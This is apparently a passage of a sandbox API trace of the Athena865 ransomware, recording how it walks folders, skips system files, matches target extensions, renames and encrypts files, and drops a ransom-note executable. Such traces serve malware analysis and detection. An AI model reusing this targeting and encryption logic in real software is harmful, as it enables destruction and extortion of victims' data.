[0110.285] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.285] lstrlenW (lpString="db2") returned 3 [0110.286] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.286] lstrlenW (lpString="db3") returned 3 [0110.286] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.286] lstrlenW (lpString="dbf") returned 3 [0110.286] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.286] lstrlenW (lpString="mdf") returned 3 [0110.286] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.286] lstrlenW (lpString="mdb") returned 3 [0110.286] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.286] lstrlenW (lpString="sql") returned 3 [0110.286] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.286] lstrlenW (lpString="sqlite") returned 6 [0110.286] lstrcmpiW (lpString1="rl.xml", lpString2="sqlite") returned -1 [0110.286] lstrlenW (lpString="sqlite3") returned 7 [0110.286] lstrcmpiW (lpString1="srl.xml", lpString2="sqlite3") returned 1 [0110.286] lstrlenW (lpString="sqlitedb") returned 8 [0110.286] lstrcmpiW (lpString1="ssrl.xml", lpString2="sqlitedb") returned 1 [0110.286] lstrlenW (lpString="xml") returned 3 [0110.286] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.286] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.Athena865") returned 71 [0110.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.athena865"), dwFlags=0x1) returned 1 [0110.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.288] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2596) returned 1 [0110.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.288] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.289] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.289] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.289] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x17c [0110.291] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0110.291] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.292] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.292] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.293] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.293] CloseHandle (hObject=0x17c) returned 1 [0110.293] CloseHandle (hObject=0x154) returned 1 [0110.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.293] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0110.293] lstrcmpiW (lpString1="ipssve.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.293] lstrcmpiW (lpString1="ipssve.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.293] lstrcmpiW (lpString1="ipssve.xml", lpString2=".") returned 1 [0110.293] lstrcmpiW (lpString1="ipssve.xml", lpString2="..") returned 1 [0110.293] lstrcmpiW (lpString1="ipssve.xml", lpString2="windows") returned -1 [0110.293] lstrcmpiW (lpString1="ipssve.xml", lpString2="bootmgr") returned 1 [0110.293] lstrcmpiW (lpString1="ipssve.xml", lpString2="temp") returned -1 [0110.293] lstrcmpiW (lpString1="ipssve.xml", lpString2="pagefile.sys") returned -1 [0110.293] lstrcmpiW (lpString1="ipssve.xml", lpString2="boot") returned 1 [0110.294] lstrcmpiW (lpString1="ipssve.xml", lpString2="ids.txt") returned 1 [0110.294] lstrcmpiW (lpString1="ipssve.xml", lpString2="ntuser.dat") returned -1 [0110.294] lstrcmpiW (lpString1="ipssve.xml", lpString2="perflogs") returned -1 [0110.294] lstrcmpiW (lpString1="ipssve.xml", lpString2="MSBuild") returned -1 [0110.294] lstrlenW (lpString="ipssve.xml") returned 10 [0110.294] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipssve.xml" | out: lpString1="ipssve.xml") returned="ipssve.xml" [0110.294] lstrlenW (lpString="ipssve.xml") returned 10 [0110.294] lstrlenW (lpString="Athena865") returned 9 [0110.294] lstrcmpiW (lpString1="pssve.xml", lpString2="Athena865") returned 1 [0110.294] lstrlenW (lpString=".dll") returned 4 [0110.294] lstrcmpiW (lpString1="ipssve.xml", lpString2=".dll") returned 1 [0110.294] lstrlenW (lpString=".lnk") returned 4 [0110.294] lstrcmpiW (lpString1="ipssve.xml", lpString2=".lnk") returned 1 [0110.294] lstrlenW (lpString=".ini") returned 4 [0110.294] lstrcmpiW (lpString1="ipssve.xml", lpString2=".ini") returned 1 [0110.294] lstrlenW (lpString=".sys") returned 4 [0110.294] lstrcmpiW (lpString1="ipssve.xml", lpString2=".sys") returned 1 [0110.294] lstrlenW (lpString="ipssve.xml") returned 10 [0110.294] lstrlenW (lpString="bak") returned 3 [0110.294] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.294] lstrlenW (lpString="ba_") returned 3 [0110.294] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.294] lstrlenW (lpString="dbb") returned 3 [0110.294] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.294] lstrlenW (lpString="vmdk") returned 4 [0110.294] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.294] lstrlenW (lpString="rar") returned 3 [0110.294] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.295] lstrlenW (lpString="zip") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.295] lstrlenW (lpString="tgz") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.295] lstrlenW (lpString="vbox") returned 4 [0110.295] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.295] lstrlenW (lpString="vdi") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.295] lstrlenW (lpString="vhd") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.295] lstrlenW (lpString="vhdx") returned 4 [0110.295] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.295] lstrlenW (lpString="avhd") returned 4 [0110.295] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.295] lstrlenW (lpString="db") returned 2 [0110.295] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.295] lstrlenW (lpString="db2") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.295] lstrlenW (lpString="db3") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.295] lstrlenW (lpString="dbf") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.295] lstrlenW (lpString="mdf") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.295] lstrlenW (lpString="mdb") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.295] lstrlenW (lpString="sql") returned 3 [0110.295] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.295] lstrlenW (lpString="sqlite") returned 6 [0110.295] lstrcmpiW (lpString1="ve.xml", lpString2="sqlite") returned 1 [0110.296] lstrlenW (lpString="sqlite3") returned 7 [0110.296] lstrcmpiW (lpString1="sve.xml", lpString2="sqlite3") returned 1 [0110.296] lstrlenW (lpString="sqlitedb") returned 8 [0110.296] lstrcmpiW (lpString1="ssve.xml", lpString2="sqlitedb") returned 1 [0110.296] lstrlenW (lpString="xml") returned 3 [0110.296] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.296] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.Athena865") returned 71 [0110.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.athena865"), dwFlags=0x1) returned 1 [0110.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.298] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2520) returned 1 [0110.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.298] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.299] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.299] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.299] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce0, lpName=0x0) returned 0x17c [0110.301] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce0) returned 0x100000 [0110.301] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.302] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.302] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.303] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.303] CloseHandle (hObject=0x17c) returned 1 [0110.303] CloseHandle (hObject=0x154) returned 1 [0110.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.303] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0110.303] lstrcmpiW (lpString1="it-IT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.303] lstrcmpiW (lpString1="it-IT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.303] lstrcmpiW (lpString1="it-IT", lpString2=".") returned 1 [0110.303] lstrcmpiW (lpString1="it-IT", lpString2="..") returned 1 [0110.303] lstrcmpiW (lpString1="it-IT", lpString2="windows") returned -1 [0110.303] lstrcmpiW (lpString1="it-IT", lpString2="bootmgr") returned 1 [0110.303] lstrcmpiW (lpString1="it-IT", lpString2="temp") returned -1 [0110.303] lstrcmpiW (lpString1="it-IT", lpString2="pagefile.sys") returned -1 [0110.303] lstrcmpiW (lpString1="it-IT", lpString2="boot") returned 1 [0110.304] lstrcmpiW (lpString1="it-IT", lpString2="ids.txt") returned 1 [0110.304] lstrcmpiW (lpString1="it-IT", lpString2="ntuser.dat") returned -1 [0110.304] lstrcmpiW (lpString1="it-IT", lpString2="perflogs") returned -1 [0110.304] lstrcmpiW (lpString1="it-IT", lpString2="MSBuild") returned -1 [0110.304] lstrlenW (lpString="it-IT") returned 5 [0110.304] lstrcpyW (in: lpString1=0x241e8ae, lpString2="it-IT" | out: lpString1="it-IT") returned="it-IT" [0110.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547708 [0110.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501fa8 [0110.304] lstrcatW (in: lpString1="it-IT", lpString2="\\" | out: lpString1="it-IT\\") returned="it-IT\\" [0110.304] lstrcatW (in: lpString1="it-IT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="it-IT\\HOW TO BACK YOUR FILES.exe") returned="it-IT\\HOW TO BACK YOUR FILES.exe" [0110.304] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.307] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2=".") returned 1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="..") returned 1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="windows") returned -1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="bootmgr") returned 1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="temp") returned -1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="pagefile.sys") returned -1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="boot") returned 1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="ids.txt") returned 1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="ntuser.dat") returned -1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="perflogs") returned -1 [0110.307] lstrcmpiW (lpString1="ja-JP", lpString2="MSBuild") returned -1 [0110.307] lstrlenW (lpString="ja-JP") returned 5 [0110.307] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ja-JP" | out: lpString1="ja-JP") returned="ja-JP" [0110.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547720 [0110.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53bb20 [0110.308] lstrcatW (in: lpString1="ja-JP", lpString2="\\" | out: lpString1="ja-JP\\") returned="ja-JP\\" [0110.308] lstrcatW (in: lpString1="ja-JP\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ja-JP\\HOW TO BACK YOUR FILES.exe") returned="ja-JP\\HOW TO BACK YOUR FILES.exe" [0110.308] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.310] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2=".") returned 1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="..") returned 1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="windows") returned -1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="bootmgr") returned 1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="temp") returned -1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="pagefile.sys") returned -1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="boot") returned 1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="ids.txt") returned 1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="ntuser.dat") returned -1 [0110.310] lstrcmpiW (lpString1="journal.dll", lpString2="perflogs") returned -1 [0110.311] lstrcmpiW (lpString1="journal.dll", lpString2="MSBuild") returned -1 [0110.311] lstrlenW (lpString="journal.dll") returned 11 [0110.311] lstrcpyW (in: lpString1=0x241e8ae, lpString2="journal.dll" | out: lpString1="journal.dll") returned="journal.dll" [0110.311] lstrlenW (lpString="journal.dll") returned 11 [0110.311] lstrlenW (lpString="Athena865") returned 9 [0110.311] lstrcmpiW (lpString1="urnal.dll", lpString2="Athena865") returned 1 [0110.311] lstrlenW (lpString=".dll") returned 4 [0110.311] lstrcmpiW (lpString1="journal.dll", lpString2=".dll") returned 1 [0110.311] lstrlenW (lpString=".lnk") returned 4 [0110.311] lstrcmpiW (lpString1="journal.dll", lpString2=".lnk") returned 1 [0110.311] lstrlenW (lpString=".ini") returned 4 [0110.311] lstrcmpiW (lpString1="journal.dll", lpString2=".ini") returned 1 [0110.311] lstrlenW (lpString=".sys") returned 4 [0110.311] lstrcmpiW (lpString1="journal.dll", lpString2=".sys") returned 1 [0110.311] lstrlenW (lpString="journal.dll") returned 11 [0110.311] lstrlenW (lpString="bak") returned 3 [0110.311] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0110.311] lstrlenW (lpString="ba_") returned 3 [0110.311] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0110.311] lstrlenW (lpString="dbb") returned 3 [0110.311] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0110.311] lstrlenW (lpString="vmdk") returned 4 [0110.311] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0110.311] lstrlenW (lpString="rar") returned 3 [0110.311] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0110.311] lstrlenW (lpString="zip") returned 3 [0110.311] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0110.311] lstrlenW (lpString="tgz") returned 3 [0110.312] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0110.312] lstrlenW (lpString="vbox") returned 4 [0110.312] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0110.312] lstrlenW (lpString="vdi") returned 3 [0110.312] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0110.312] lstrlenW (lpString="vhd") returned 3 [0110.312] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0110.312] lstrlenW (lpString="vhdx") returned 4 [0110.312] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0110.312] lstrlenW (lpString="avhd") returned 4 [0110.312] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0110.312] lstrlenW (lpString="db") returned 2 [0110.312] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0110.312] lstrlenW (lpString="db2") returned 3 [0110.312] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0110.312] lstrlenW (lpString="db3") returned 3 [0110.312] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0110.312] lstrlenW (lpString="dbf") returned 3 [0110.312] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0110.312] lstrlenW (lpString="mdf") returned 3 [0110.312] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0110.312] lstrlenW (lpString="mdb") returned 3 [0110.312] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0110.312] lstrlenW (lpString="sql") returned 3 [0110.312] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0110.312] lstrlenW (lpString="sqlite") returned 6 [0110.312] lstrcmpiW (lpString1="al.dll", lpString2="sqlite") returned -1 [0110.312] lstrlenW (lpString="sqlite3") returned 7 [0110.312] lstrcmpiW (lpString1="nal.dll", lpString2="sqlite3") returned -1 [0110.312] lstrlenW (lpString="sqlitedb") returned 8 [0110.313] lstrcmpiW (lpString1="rnal.dll", lpString2="sqlitedb") returned -1 [0110.313] lstrlenW (lpString="xml") returned 3 [0110.313] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0110.313] lstrlenW (lpString="$er") returned 3 [0110.313] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0110.313] lstrlenW (lpString="4dd") returned 3 [0110.313] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0110.313] lstrlenW (lpString="4dl") returned 3 [0110.313] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0110.313] lstrlenW (lpString="^^^") returned 3 [0110.313] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0110.313] lstrlenW (lpString="abs") returned 3 [0110.313] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0110.313] lstrlenW (lpString="abx") returned 3 [0110.313] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0110.313] lstrlenW (lpString="accdb") returned 5 [0110.313] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0110.313] lstrlenW (lpString="accdc") returned 5 [0110.313] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0110.313] lstrlenW (lpString="accde") returned 5 [0110.313] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0110.313] lstrlenW (lpString="accdr") returned 5 [0110.313] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0110.313] lstrlenW (lpString="accdt") returned 5 [0110.313] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0110.313] lstrlenW (lpString="accdw") returned 5 [0110.313] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0110.313] lstrlenW (lpString="accft") returned 5 [0110.313] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0110.313] lstrlenW (lpString="adb") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.314] lstrlenW (lpString="adb") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.314] lstrlenW (lpString="ade") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0110.314] lstrlenW (lpString="adf") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0110.314] lstrlenW (lpString="adn") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0110.314] lstrlenW (lpString="adp") returned 3 [0110.314] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0110.314] 